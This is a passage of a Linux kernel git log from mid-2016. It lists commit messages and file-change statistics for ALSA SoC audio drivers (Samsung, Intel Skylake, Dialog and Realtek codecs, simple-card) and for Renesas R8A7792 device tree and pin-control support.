us to use snd_soc_dai_init_dma_data() function instead of the platform specific samsung_asoc_init_dma_data helper. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/pcm.c | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) commit 2b6583457d9f2d5cc5d99243aa115c5fa958a7ad Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:30 2016 +0200 ASoC: samsung: Drop usage of struct s3c_dma_params from spdif.c struct s3c_dma_params already includes struct snd_dmaengine_dai_dma_data, there is no need for such an indirection so switch to using struct snd_dmaengine_dai_dma_data instead of struct s3c_dma_params. This also allows us to use snd_soc_dai_init_dma_data() function instead of the platform specific samsung_asoc_init_dma_data helper. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/spdif.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 996d81e167de8a20acabae66c1d0db481b40fbbe Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:29 2016 +0200 ASoC: samsung: Drop usage of struct s3c_dma_params from ac97.c struct s3c_dma_params already includes struct snd_dmaengine_dai_dma_data, there is no need for such an indirection so switch to using struct snd_dmaengine_dai_dma_data instead of struct s3c_dma_params. This also allows us to use snd_soc_dai_init_dma_data() function instead of the platform specific samsung_asoc_init_dma_data helper. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/ac97.c | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit ea37bd4df55f640b5146ac08cd377242d3042e2e Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:28 2016 +0200 ASoC: samsung: Drop usage of struct s3c_dma_params from s3c2412-i2s.c struct s3c_dma_params already includes struct snd_dmaengine_dai_dma_data, there is no need for such an indirection so switch to using struct snd_dmaengine_dai_dma_data instead of struct s3c_dma_params. This also allows us to use snd_soc_dai_init_dma_data() function instead of the platform specific samsung_asoc_init_dma_data helper. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/s3c-i2s-v2.c | 2 +- sound/soc/samsung/s3c-i2s-v2.h | 4 ++-- sound/soc/samsung/s3c2412-i2s.c | 24 ++++++++++++------------ 3 files changed, 15 insertions(+), 15 deletions(-) commit 8999390e40abe8099bd18299eaed96469f8aa5e1 Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:27 2016 +0200 ASoC: samsung: Drop usage of struct s3c_dma_params from s3c24xx-i2s.c struct s3c_dma_params already includes struct snd_dmaengine_dai_dma_data, there is no need for such an indirection so switch to using struct snd_dmaengine_dai_dma_data instead of struct s3c_dma_params. This also allows us to use snd_soc_dai_init_dma_data() function instead of the platform specific samsung_asoc_init_dma_data helper. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/s3c24xx-i2s.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 69e7a69a2225e20503b2623fe2dcf78442ab5593 Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:26 2016 +0200 ASoC: samsung: Drop usage of struct s3c_dma_params from i2s.c struct s3c_dma_params already includes struct snd_dmaengine_dai_dma_data, there is no need for such an indirection so switch to using struct snd_dmaengine_dai_dma_data instead of struct s3c_dma_params. This also allows us to use snd_soc_dai_init_dma_data() function instead of the platform specific samsung_asoc_init_dma_data helper. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/i2s.c | 48 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 24 deletions(-) commit c6f8769b03749b244331699471bef02c9b9d5ebc Author: Nicolin Chen Date: Thu Jul 28 14:57:16 2016 -0700 ASoC: rt5659: Add mclk controls The codec driver should control the mclk. So this patch adds this support. Signed-off-by: Nicolin Chen Acked-by: Rob Herring Signed-off-by: Mark Brown Documentation/devicetree/bindings/sound/rt5659.txt | 3 +++ sound/soc/codecs/rt5659.c | 24 ++++++++++++++++++++++ sound/soc/codecs/rt5659.h | 1 + 3 files changed, 28 insertions(+) commit c6eac8a36a845e52ba520060a807044964ad9de5 Author: Xing Zheng Date: Wed Aug 3 16:10:00 2016 +0800 ASoC: rockchip: Add machine driver for RK3399 GRU Boards Because we need to support the multiple codecs (MAX98357A/RT5514/DA7219) on the RK3399 GRU boards, this patch can help us to support these codecs. Signed-off-by: Xing Zheng Acked-by: Rob Herring Signed-off-by: Mark Brown .../bindings/sound/rockchip,rk3399-gru-sound.txt | 15 + sound/soc/rockchip/Kconfig | 11 + sound/soc/rockchip/Makefile | 2 + sound/soc/rockchip/rk3399_gru_sound.c | 337 +++++++++++++++++++++ 4 files changed, 365 insertions(+) commit 519302954b726612eea6362047660cd56aa15c2e Author: Julia Lawall Date: Fri Aug 5 10:56:51 2016 +0200 ASoC: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2; statement S2,S1; @@ - if (of_get_property(e1,e2,NULL)) + if (of_property_read_bool(e1,e2)) S1 else S2 // Signed-off-by: Julia Lawall Signed-off-by: Mark Brown sound/soc/codecs/ab8500-codec.c | 10 +++++----- sound/soc/sh/rcar/ssi.c | 2 +- sound/soc/soc-core.c | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) commit 3d4006cd50289d7626639488c3a6449574cceee7 Author: Senthilnathan Veppur Date: Tue Jul 26 18:06:50 2016 +0530 ASoC: Intel: Skylake: Add module processing domain support A module can be scheduled in deferent processing domains in DSP. Topology specifies the module domain. Signed-off-by: Senthilnathan Veppur Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-messages.c | 1 + sound/soc/intel/skylake/skl-sst-ipc.c | 6 ++++++ sound/soc/intel/skylake/skl-sst-ipc.h | 1 + sound/soc/intel/skylake/skl-topology.c | 1 + sound/soc/intel/skylake/skl-tplg-interface.h | 3 ++- 5 files changed, 11 insertions(+), 1 deletion(-) commit 8d983be820fa713785ce54caab08e74b36d9ee39 Author: Vinod Koul Date: Tue Jul 26 18:06:49 2016 +0530 ASoC: Intel: Skylake: Fix a comment style While changing code notice bad comment style, so fix it up. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-ipc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1ef015e611570c4cffea480e8d1c64622edef5d9 Author: Ramesh Babu Date: Tue Jul 26 18:06:48 2016 +0530 ASoC: Intel: Skylake: Add library loading support The library load is added as one of the ops in skl_dsp_fw_ops(). The manifest load gives the files to be loaded which are loaded during the fw_init() Signed-off-by: Ramesh Babu Signed-off-by: Kranthi G Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/bxt-sst.c | 86 +++++++++++++++++++++++++++++++++-- sound/soc/intel/skylake/skl-sst-dsp.h | 2 + 2 files changed, 85 insertions(+), 3 deletions(-) commit 004d94e5ab01a175523c8e7d205f94fb44274986 Author: kbuild test robot Date: Tue Aug 2 09:07:13 2016 +0800 ASoC: Intel: Skylake: fix noderef.cocci warnings sound/soc/intel/skylake/skl-topology.c:480:24-30: ERROR: application of sizeof to pointer sizeof when applied to a pointer typed expression gives the size of the pointer Generated by: scripts/coccinelle/misc/noderef.cocci Signed-off-by: Fengguang Wu Acked-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 20fb2fbdfc88abb8b6f102c75c27b6068cec2f69 Author: Ramesh Babu Date: Tue Jul 26 18:06:47 2016 +0530 ASoC: Intel: Skylake: Add library loading IPCs DSP fw can have additional firmwares as libs. These libs can be loaded using message IPC_GLB_LOAD_LIBRARY. Signed-off-by: Ramesh Babu Signed-off-by: Kranthi G Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-ipc.c | 23 +++++++++++++++++++++++ sound/soc/intel/skylake/skl-sst-ipc.h | 3 +++ 2 files changed, 26 insertions(+) commit 0bdd6d8bedffdb33586455302b6543ca3f157cc1 Author: Vinod Koul Date: Tue Jul 26 18:06:46 2016 +0530 ASoC: Intel: Bxt: Parse UUIDs once The firmware manifest contains UUIDs which needs to be passed only once. So use the newly introduced is_first_boot flag to distinguish and parse these only once on bxt platform as well. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/bxt-sst.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit e280823c23f9ccc5f3bbd0fb2fa458cd96c1a881 Author: Vinod Koul Date: Tue Jul 26 18:06:45 2016 +0530 ASoC: Intel: Skylake: Parse UUIDs once The firmware manifest contains UUIDs which needs to be passed only once. So use the newly introduced is_first_boot flag to distinguish and parse these only once. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit a8e2c19efd5d27577661124b1033b344650e4899 Author: Senthilnathan Veppur Date: Tue Jul 26 18:06:44 2016 +0530 ASoC: Intel: Skylake: add additional args to module parsing For additional library parsing, we need to pass firmware to be loaded and not use the pointer in context. Also, Library module IDs are combination of library index and module ID in manifest. So add the additional arguments of firmware and library offset to snd_skl_parse_uuids(). Signed-off-by: Senthilnathan Veppur Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/bxt-sst.c | 2 +- sound/soc/intel/skylake/skl-sst-dsp.h | 3 ++- sound/soc/intel/skylake/skl-sst-utils.c | 9 +++++---- sound/soc/intel/skylake/skl-sst.c | 2 +- 4 files changed, 9 insertions(+), 7 deletions(-) commit 15ecaba9148da2d4088c7025d06312d1cbd9d5eb Author: Kranthi G Date: Tue Jul 26 18:06:43 2016 +0530 ASoC: Intel: Skylake: add support for tplg manifest load Topology manifest gives information about the libraries to be loaded. Implement the topology manifest load callback to get this. Signed-off-by: Kranthi G Signed-off-by: Senthilnathan Veppur Signed-off-by: Ramesh Babu Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-ipc.h | 3 +++ sound/soc/intel/skylake/skl-topology.c | 22 ++++++++++++++++++++++ sound/soc/intel/skylake/skl-tplg-interface.h | 12 ++++++++++++ 3 files changed, 37 insertions(+) commit 78cdbbdac059fad34740f0bdefe263f8de2a1faf Author: Vinod Koul Date: Tue Jul 26 18:06:42 2016 +0530 ASoC: Intel: Skylake: split fw and dsp initialization The DSP instance creation also loads the firmware on DSPs. For library load the firmware names come from topology so can't be loaded at object creation. So split the firmware load and object creation. FW load is now called after topology init in platform probe. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/bxt-sst.c | 19 +++++++++++++++---- sound/soc/intel/skylake/skl-messages.c | 8 +++++++- sound/soc/intel/skylake/skl-pcm.c | 20 ++++++++++++++++++++ sound/soc/intel/skylake/skl-sst-dsp.h | 2 ++ sound/soc/intel/skylake/skl-sst-ipc.h | 3 +++ sound/soc/intel/skylake/skl-sst.c | 27 +++++++++++++++++---------- sound/soc/intel/skylake/skl.h | 1 + 7 files changed, 65 insertions(+), 15 deletions(-) commit 73a675816d704337ef7e8cb441f094a82fcc1018 Author: Vinod Koul Date: Tue Jul 26 18:06:41 2016 +0530 ASoC: Intel: Skylake: modify skl_get_dsp_ops() To query the ops used for a platform, we use skl_get_dsp_ops() which return index and then we load the ops. Rather than this return the ops, this way it cna be used later to query the ops in rest of the driver. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-messages.c | 30 ++++++++++++++++-------------- sound/soc/intel/skylake/skl.h | 1 + 2 files changed, 17 insertions(+), 14 deletions(-) commit b7c505554c11cc7978ab942b544d86dd92d59dcf Author: Vinod Koul Date: Tue Jul 26 18:06:40 2016 +0530 ASoC: Intel: Skylake: Move modules query to runtime Since we are moving DSP init to later, at the topology load the module info is not available. So set the module id to -1 at init and query at first module initialization. Signed-off-by: Senthilnathan Veppur Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.c | 32 +++++++++++++++++++++++++++----- sound/soc/intel/skylake/skl-topology.h | 2 +- 2 files changed, 28 insertions(+), 6 deletions(-) commit 97608f5cceabc4c15f5503e1b8f9801eb17c5b3b Author: Kevin Hilman Date: Tue Aug 2 11:36:37 2016 -0700 ARM: davinci_all_defconfig: enable DA850 audio as modules Build audio support for DA850-based devices as modules in the default defconfig. Cc: Sekhar Nori Signed-off-by: Kevin Hilman Signed-off-by: Sekhar Nori arch/arm/configs/davinci_all_defconfig | 4 ++++ 1 file changed, 4 insertions(+) commit 8134fb1b85588fa7f81ead2d943af621307da0d9 Author: Kevin Hilman Date: Tue Aug 2 11:36:36 2016 -0700 ARM: davinci_all_defconfig: cleanup with savedefconfig It's been awhile since a cleanup was done. Regenerate the default settings by $ make davinci_all_config $ make savedefconfig $ cp defconfig arch/arm/configs/davinci_all_defconfig Cc: Sekhar Nori Signed-off-by: Kevin Hilman Signed-off-by: Sekhar Nori arch/arm/configs/davinci_all_defconfig | 55 +++++++++------------------------- 1 file changed, 14 insertions(+), 41 deletions(-) commit 9731f82d60166a19af6914f998092bbd1560f783 Author: Kuninori Morimoto Date: Wed Aug 3 02:08:41 2016 +0000 ASoC: hdmi-codec: enable multi probe for same device hdmi-codec driver is common HDMI sound driver, but it doesn't care about multi sound ports. For example, hdmi-codec driver is supporting 1 I2S and 1 SPDIF ports, so, we can't use this driver if HDMI has 2 or more I2S ports. And we would like to use multi detection. For example, DesignWare HDMI driver is providing dw_hdmi_bind() to DRM/KMS driver, and it will setups HDMI video/sound. Note is that it will be called under for_each loop of ports. int dw_hdmi_bind(xxx) { /* register hdmi-codec driver here */ } static int xxx_probe(struct platform_device *pdev) { for_each_xxx(xx) { ... dw_hdmi_bind(xxx); ... } } This case, dw_hdmi_bind() would like to use hdmi-codec, and it will be called multiple times for each ports. Here, ASoC's CPU/Codec/Card bind will checks each "of_node" on DT, and hdmi-codec driver is assuming its parent device for it. But it doesn't care about case. Thus, ASoC never detect correct sound card in this case. To solve this issue, this patch checks each parent device, and names "hdmi-hifi.x" in order to each ports. And uses struct snd_soc_component_driver :: of_xlate_dai_name for snd_soc_get_dai_name(). Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/hdmi-codec.c | 67 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 64 insertions(+), 3 deletions(-) commit 35397edeb14f033e51296400ff31d159dbb8444a Author: Sylwester Nawrocki Date: Thu Aug 4 12:22:32 2016 +0200 ASoC: dwc: Drop DMA channel names assignment The dw_configure_dai_by_dt() function and further dev->{play,capture} _dma_data.dt data structures seem to be used in this driver only in case of a system using devicetree, thus chan_name assignments have no effect since they will be ignored in dmaengine_pcm_request_chan_of() call and will be substituted with values taken form dmaengine_pcm_dma_channel_names[] table ("tx", "rx"). Also there is no any "TX", "RX" dma-names entries in arch/arm/boot/dts, only lower case "tx", "rx" seem to be used. Lastly, this driver doesn't set SND_DMAENGINE_PCM_FLAG_CUSTOM_CHANNEL_NAME flag when registering a dmaengine PCM to indicate the chan_name should be used. My intention is to eventually remove the struct snd_dmaengine_dai_dma_data chan_name field as there is also a chan_names[] field in struct snd_dmaengine_pcm_config which can be used for same purpose. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/dwc/designware_i2s.c | 2 -- 1 file changed, 2 deletions(-) commit 40585391fc88d6d66dc479efccba973426c004ab Author: Adam Thomson Date: Fri Jul 29 14:46:54 2016 +0100 ASoC: da7219: Make more efficient use of MCLK within driver Currently, if the driver has control of MCLK then it remains enabled as long as the codec is in STANDBY or above. The MCLK is only really required in STANDBY when a 3-pole jack is inserted and the HP detect procedure is required to run. This patch updates the code to enable/disable the MCLK when moving between the STANDBY and PREPARE bias level, and when a 3-pole jack is inserted and HP detection is required, thus saving power at all other times. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7219-aad.c | 18 +++++++++++++++++- sound/soc/codecs/da7219.c | 18 +++++++++++------- 2 files changed, 28 insertions(+), 8 deletions(-) commit d936d527d241b606b0280034b3972b7825d3704c Author: Adam Thomson Date: Thu Aug 4 15:35:41 2016 +0100 ASoC: da7213: Improve 32KHz mode PLL locking To aid PLL in locking on to a 32KHz MCLK, some register mods are made during PLL configuration, and when enabling the DAI, to achieve the full range of sample rates. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7213.c | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) commit 4c75225aa05753217a81ed10f136b86fb94c5922 Author: Adam Thomson Date: Thu Aug 4 15:35:40 2016 +0100 ASoC: da7213: Refactor sysclk(), pll() functions to improve handling Currently the handling of the PLL in the driver is a little clunky, and not ideal for all modes. This patch updates the code to make it cleaner and more sensible for the various PLL states. Key items of note are: - MCLK squaring is now handled directly as part of the sysclk() function, removing the need for a private flag to set this feature. - All PLL modes are defined as an enum, and are handled as a case statement in pll() function to clean up configuration. This also removes any need for a private flag for SRM. - For 32KHz mode, checks are made on codec master mode and correct MCLK rates, to avoid incorrect usage of PLL for this operation. - For 32KHz mode, SRM flag now correctly enabled and fout set to sensible value to achieve appropriate PLL dividers. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7213.c | 85 +++++++++++++++++++++++++++-------------------- sound/soc/codecs/da7213.h | 12 ++++--- 2 files changed, 57 insertions(+), 40 deletions(-) commit f612680fb5cd92a213240d82651a1f56bc38129e Author: Adam Thomson Date: Thu Aug 4 15:35:39 2016 +0100 ASoC: da7213: Improve driver efficiency with regards to MCLK usage Currently MCLK remains enabled during bias STANDBY state, and this is not necessary. This patch updates the code to handle enabling and disabling of MCLK, if provided, when moving between STANDBY and PREPARE states, therefore saving power when no active streams present. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7213.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit 4d48298af85aff3dcc9498a564e06efeb9c935be Author: Nicolin Chen Date: Thu Jul 28 15:43:01 2016 -0700 ASoC: cs53l30: Do not ignore errors if mclk is specified When the clock is specified, there could be other errors besides the EPROBE_DEFER so don't ignore them. Signed-off-by: Nicolin Chen Acked-by: Paul Handrigan Signed-off-by: Mark Brown sound/soc/codecs/cs53l30.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e094e8f3de9caee07b316324f66696f8a5af4a22 Author: Axel Lin Date: Tue Aug 2 13:48:30 2016 +0800 ASoC: cs42l73: Constify cs42l73_mclk_coeffs and cs42l73_mclkx_coeffs tables Signed-off-by: Axel Lin Acked-by: Brian Austin Signed-off-by: Mark Brown sound/soc/codecs/cs42l73.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6e8e9b9a46cf75a0994864a8fcbead4a580af310 Author: Axel Lin Date: Tue Aug 2 13:48:31 2016 +0800 ASoC: cs53l30: Constify cs53l30_mclk_coeffs and cs53l30_mclkx_coeffs tables Signed-off-by: Axel Lin Signed-off-by: Mark Brown sound/soc/codecs/cs53l30.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3597fced666469762c8ea64a68f2ce0716776bd8 Author: Axel Lin Date: Tue Aug 2 13:48:31 2016 +0800 ASoC: cs53l30: Constify cs53l30_mclk_coeffs and cs53l30_mclkx_coeffs tables Signed-off-by: Axel Lin Signed-off-by: Mark Brown sound/soc/codecs/cs53l30.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 83701e00ded47e7f6390c6a123209426565046b7 Author: Simon Horman Date: Thu Jul 21 08:44:08 2016 +0900 ARM: dts: r8a7794: Correct SDHI register size r8a7794 SDHI ch0 has SD_DMACR which is located in 0x324. This patch updates register size Based on work for the r8a7790 by Kuninori Morimoto. Cc: Kuninori Morimoto Signed-off-by: Simon Horman Reviewed-by: Wolfram Sang arch/arm/boot/dts/r8a7794.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 38584104eafb6ed40ca06c8421dcc369c9015c1d Author: Sergei Shtylyov Date: Thu Jul 14 23:21:15 2016 +0300 ARM: dts: blanche: add CAN0 support Define the Blanche board dependent part of the CAN0 device node along with the CAN_CLK crystal. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit f947c02a0f86dffa5258ef347c6b6980953a9679 Author: Sergei Shtylyov Date: Thu Jul 14 23:20:35 2016 +0300 ARM: dts: r8a7792: add CAN support Define the generic R8A7792 parts of the CAN0/1 device nodes. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 47db051c22a03d41eac0d8193f3fe37b4f9768e9 Author: Sergei Shtylyov Date: Thu Jul 14 23:19:44 2016 +0300 ARM: dts: r8a7792: add CAN clocks The R-Car CAN controllers can derive the CAN bus clock not only from their peripheral clock input (clkp1) but also from the other internal clock (clkp2) and the external clock fed on the CAN_CLK pin. Describe those clocks in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) commit b12dcdcc474977095ce72152b285be7f94d0efd3 Author: Sergei Shtylyov Date: Tue Jul 5 00:23:30 2016 +0300 ARM: dts: r8a7792: add EtherAVB support Define the generic R8A7792 part of the EtherAVB device node. Based on the commit 89aac8af1a60 ("ARM: dts: r8a7794: add EtherAVB support"). Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 08cafff67e8881e1622068924aaab3c3aa052b0b Author: Sergei Shtylyov Date: Tue Jul 5 00:22:38 2016 +0300 ARM: dts: r8a7792: add EtherAVB clocks Add the EtherAVB clock and its parent, HP clock to the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 63359c2ddc86bded339f38bde504994f123ebd63 Author: Sergei Shtylyov Date: Wed Jul 6 01:02:20 2016 +0300 ARM: dts: r8a7792: add GPIO support Describe all 12 GPIO controllers in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 168 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 168 insertions(+) commit 4e2b4f6626541dd791d468c9ccd2d0cc72cc0989 Author: Sergei Shtylyov Date: Wed Jul 6 01:01:22 2016 +0300 ARM: dts: r8a7792: add GPIO clocks Describe the GPIO clocks in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit 1d93a8b5a234282724f6f4a3113e1d32bea0ec71 Author: Sergei Shtylyov Date: Thu Jul 14 14:02:01 2016 -0700 ARM: dts: blanche: add Ethernet pins Add the (previously omitted) pin data for the SMSC LAN89218 Ethernet chip to the Blanche board's device tree: the chip's IRQ output is connected to the SoC's IRQ0 pin and its nCS input is connected to the SoC's EX_CS0# pin. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 2cd452d19e6e79ea58c8022c43248b64d579db60 Author: Sergei Shtylyov Date: Fri Jul 15 00:00:56 2016 +0300 ARM: dts: blanche: add SCIF0/3 pins Add the (previously omitted) SCIF0/3 pin data to the Blanche board's device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 02183a5250193aae6913ed3ee720be021ae92b03 Author: Sergei Shtylyov Date: Fri Jul 15 00:00:05 2016 +0300 ARM: dts: r8a7792: add PFC support Define the generic R8A7792 part of the PFC device node. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit c3b19c8dd069894961d0616aa3706df2920e7be4 Author: Kuninori Morimoto Date: Mon Aug 8 06:03:35 2016 +0000 ASoC: simple-card: remove asoc_simple_card_sub_parse_of() asoc_simple_card_sub_parse_of() is no longer needed. Let's cleanup Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 46 +++++++---------------------------------- 1 file changed, 8 insertions(+), 38 deletions(-) commit 5bbf3866cbc1da23c628ad5dd7248cca8b8adc2c Author: Kuninori Morimoto Date: Mon Aug 8 06:02:31 2016 +0000 ASoC: rsrc-card: use asoc_simple_card_parse_dai() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 27 +++++++++++---------------- 1 file changed, 11 insertions(+), 16 deletions(-) commit 44c16af1fa8a5b1464fd76834ee6943f721748fa Author: Kuninori Morimoto Date: Mon Aug 8 06:02:07 2016 +0000 ASoC: simple-card: use asoc_simple_card_parse_dai() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 43 +++++++++++++++++------------------------ 1 file changed, 18 insertions(+), 25 deletions(-) commit ae30a694da4c37b4d0c8b750c9a4104d8da749b3 Author: Kuninori Morimoto Date: Mon Aug 8 06:01:43 2016 +0000 ASoC: simple-card-utils: add asoc_simple_card_parse_dai() simple-card needs to get its dai name and endpoint node. This patch makes it simple style standard Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 17 ++++++++++++++++ sound/soc/generic/simple-card-utils.c | 37 +++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+) commit bb6fc620c2ed972f58a0174f64f8dbd22a5911b1 Author: Kuninori Morimoto Date: Mon Aug 8 05:59:56 2016 +0000 ASoC: simple-card-utils: add asoc_simple_card_parse_clk() Current simple-card can get clock via DT clocks or "system-clock-frequency" property. This patch makes it simple style standard Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 8 ++++++++ sound/soc/generic/simple-card-utils.c | 30 ++++++++++++++++++++++++++++++ 2 files changed, 38 insertions(+) commit bc0ba64db9bbf71f50032a786abbbee5e9a20b2c Merge: c9a235d 1f85e11 Author: Mark Brown Date: Mon Aug 8 11:35:14 2016 +0100 Merge branch 'fix/simple' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-simple commit 37d0d275bd36db1eae1fb2b08762ae6f95066d78 Author: Sergei Shtylyov Date: Thu Jul 14 22:51:40 2016 +0300 pinctrl: sh-pfc: r8a7792: Add CAN pin groups Add CAN0/1 data/clock pin groups to R8A7792 PFC driver. Signed-off-by: Sergei Shtylyov Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 37 ++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit 1373eeeb3ed8651f44affea143dfc523bbcdc7e4 Author: Sergei Shtylyov Date: Wed Jul 13 00:40:03 2016 +0300 pinctrl: sh-pfc: r8a7792: Add SDHI pin groups Add SDHI0 pin groups to the R8A7792 PFC driver. Signed-off-by: Sergei Shtylyov Acked-by: Linus Walleij Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 51 ++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 2e67216c8ca63b7e5c06f0e6cf9af570f7e56b6b Author: Sergei Shtylyov Date: Wed Jul 13 00:38:44 2016 +0300 pinctrl: sh-pfc: r8a7792: Add EtherAVB pin groups Add the EtherAVB pin groups to the R8A7792 PFC driver. Signed-off-by: Sergei Shtylyov Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 99 ++++++++++++++++++++++++++++++++++++ 1 file changed, 99 insertions(+) commit 2cf59e0c200de79cd2a8f87ba06c87fa24060e2d Author: Sergei Shtylyov Date: Thu Jun 30 00:21:08 2016 +0300 pinctrl: sh-pfc: Add R8A7792 PFC support Add the PFC support for the R8A7792 SoC including pin groups for some on-chip devices such as SCIF, INTC, and LBSC... Signed-off-by: Sergei Shtylyov [geert: s/LSBC/LBSC/] Signed-off-by: Geert Uytterhoeven .../bindings/pinctrl/renesas,pfc-pinctrl.txt | 1 + drivers/pinctrl/sh-pfc/Kconfig | 5 + drivers/pinctrl/sh-pfc/Makefile | 1 + drivers/pinctrl/sh-pfc/core.c | 6 + drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 1716 ++++++++++++++++++++ drivers/pinctrl/sh-pfc/sh_pfc.h | 25 +- 6 files changed, 1748 insertions(+), 6 deletions(-) commit b6aa39228966e0d3f0bc3306be1892f87792903a Merge: 69b17ab 29b4817 Author: Mauro Carvalho Chehab Date: Mon Aug 8 07:30:25 2016 -0300 Merge tag 'v4.8-rc1' into patchwork Linux 4.8-rc1 * tag 'v4.8-rc1': (6093 commits) Linux 4.8-rc1 block: rename bio bi_rw to bi_opf target: iblock_execute_sync_cache() should use 